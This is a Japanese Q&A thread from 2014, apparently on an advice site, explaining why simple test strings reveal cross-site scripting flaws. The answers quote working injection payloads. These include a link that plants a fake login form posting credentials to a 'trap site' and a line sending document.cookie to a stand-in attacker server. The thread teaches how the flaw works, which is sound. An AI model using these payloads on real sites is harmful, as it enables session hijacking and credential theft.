dポイントプレゼントキャンペーン実施中!

クロスサイト・スクリプティング対策について2つ質問します。

質問1

GET及びPOSTパラメータにおいて、

'>"><hr>

とブラウザに入力した場合、エスケープ処理されずにブラウザが罫線を描くと、脆弱性ありと判断されるそうですが、理由は何でしょうか。もしかして、'>">は無意味な文字列なので、'>"><hr>から
<hr>のみを自動判別して、ブラウザが罫線を描くのは危険という意味でしょうか。

質問2

GET及びPOSTパラメータにおいて、

Javascript:alert(document.cookie);

とブラウザに入力すると、href属性に出力されると、脆弱性ありと判断されるそうですが、理由は何でしょうか。alertメソッドが、href属性に出力されるとは具体的にどういう意味なのかわかっていませんので、そこを含めて解説をお願いします。

A 回答 (5件)

質問1;


No2さんの通り、'>"><hr> はタグが有効か簡単に確認する方法というだけで、<hr>に特に意味はありません。。
<hr>が表示される、つまり「タグや引用符が処理されていない」ということは、「そのページを改竄できる」ということを意味します。HTML部品を勝手に挿入される、といった方が分かりやすいかも知れません。
例えば、悪意者がブログで勝手にあなたのサイトを紹介し

<a href="http://あなたのサイト/フォーム.php?name=></form>
<form action='http://罠サイト/IDget.php'>
ID<input name='id'>PASS<input name='passwd'>">
[このサイトがおすすめ]
</a>

こんな感じで不正なタグ入りのクエリ付きリンクを張られます。
(</form>で正規のformは無理やり終了、続いて不正なフォームを挿入している)
これを誰かがクリックすると「その利用者には改竄されたあたなのサイト」が表示されます。
他 display:none 等で正規のformは非表示にされ、しかも「 URLはあなたのサイトのまま 」なので、利用者はまず気付かずに罠サイトに送信してしまいます。カード情報や個人情報だと被害は甚大です。


質問2;
alert()の方も、単にJavaScriptの可否を簡単に確認する方法、というだけです。
「alert()が動作する」ということは、大抵「JavaScriptの挿入可」ですので例えば
location.href="http://罠サイト/get.php?cookie="+document.cookie;
なら分かりやすいでしょうか。悪意のサーバ宛てにその利用者のクッキーを送信してしまいます。
クッキーには自動ログインの為の値やセッションIDが入っている事が多く、なりすましに利用されます。
実際には <img src=~とかで目に見えないところで送信されたり、あるいは
<script src='~/xss.js'>などで不正なJavaScriptを背後で実行されるかも知れません。

※Q1,2共に、あなたのサイトそのものが改竄されるわけではなく、「罠リンクを踏んで来訪した利用者に、正しいURLのままで、改竄されたページが表示される」ということです。

セキュリティ本1冊目を通されることをお勧めします。
徳丸 浩氏の 「安全なWebアプリケーションの作り方」が実際の手口も掲載され理解しやすくお勧めです。
    • good
    • 0

質問2についてはわかりません。


javascriptをフィールドに入力しても、実行されることはないはずです。
ブラウザのアドレス欄に入力された場合に、スクリプトが実行されるかどうか(ブラウザとバージョンによる)という話は知っていますが。
    • good
    • 0

入力フォームを持つページで、入力途中に何らかの操作をしても、入力中のデータが消えないようになっているものがありますよね。


例えば、名前・住所・電話番号と入力する場合に、住所の部分は郵便番号を送信すると大まかな住所が表示されて、あとは番地とか細かい部分のみの入力で済むようなものがあります。その時に、先に入力した名前を消さないために、サーバー側では送信された名前のデータを入力欄の初期値として設定しています。
そのような仕組みをつくるために、<input>タグで入力された内容を再び<input>タグのvalueにいれることがあります。
その部分で、特定文字のエスケープを行っていない場合に、脆弱性ありとされます。

<input type='text' name='username'>

という欄に「山田太郎」と入力しておくと、ページが更新されるときに

<input type='text' name='username' value='山田太郎'>

として、「山田太郎」が入力された状態を再現しているような場合、この欄に「'><script>alert('Error!');</script><input type='hidden」と入力すると、

<input type='text' name='username' value=''><script>alert('Error!');</script><input type='hidden'>

という記述になり、スクリプトが実行されてしまうのです。
    • good
    • 0

脆弱性があるかどうかの判断をしているだけです。

脆弱性がある場合、同様の手口で、

' onfocus='javascript:...

とか

'><script>...</script><input type='hidden

なんて形でスクリプトを埋め込むことなんかも可能だということです。

この回答への補足

すみません、
<input type="text" name="tmp" value="test">

というHTML文がWebに含まれる場合に、testとWeb入力画面から手入力すると、タグの一部が壊されて、タグが

<input type="text" name="tmp" value="

となってしまうという意味でしょうか?(外部手入力でプログラムが破壊されるというのはあまり聞かないもので確認をさせてください、、)

あと、下記の回答はご存じないでしょうか。
質問2

GET及びPOSTパラメータにおいて、

Javascript:alert(document.cookie);

とブラウザに入力すると、href属性に出力されると、脆弱性ありと判断されるそうですが、alertメソッドが、href属性に出力されるとは具体的にどういう意味なのでしょうか。

補足日時:2014/07/07 14:32
    • good
    • 0

入力された文字列を初期値として表示するものがある場合などを考えればわかりやすいでしょう。



「test」と入力されたときに、

<input type="text" name="tmp" value="test">

というタグがページに含まれるとして、「'>"><hr>」だとどうなるかというと、

<input type="text" name="tmp" value="'>"><hr>"

となって、<hr>が文字列データではなくタグとして認識されます。「'>」があるのは、value=がシングルクォートで記述されている場合にも有効になるようにするためです。
もちろん、ちゃんとエスケープされていれば、こんなことは起こりません。

この回答への補足

すみません、この脆弱性は

GET及びPOSTパラメータにおいて、

'>"><hr>

と入力されると、Webページ上に意図せざる罫線が引かれてしまうということでしょうか?

たいした被害ではない気もしますが、、

補足日時:2014/07/07 13:32
    • good
    • 0

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!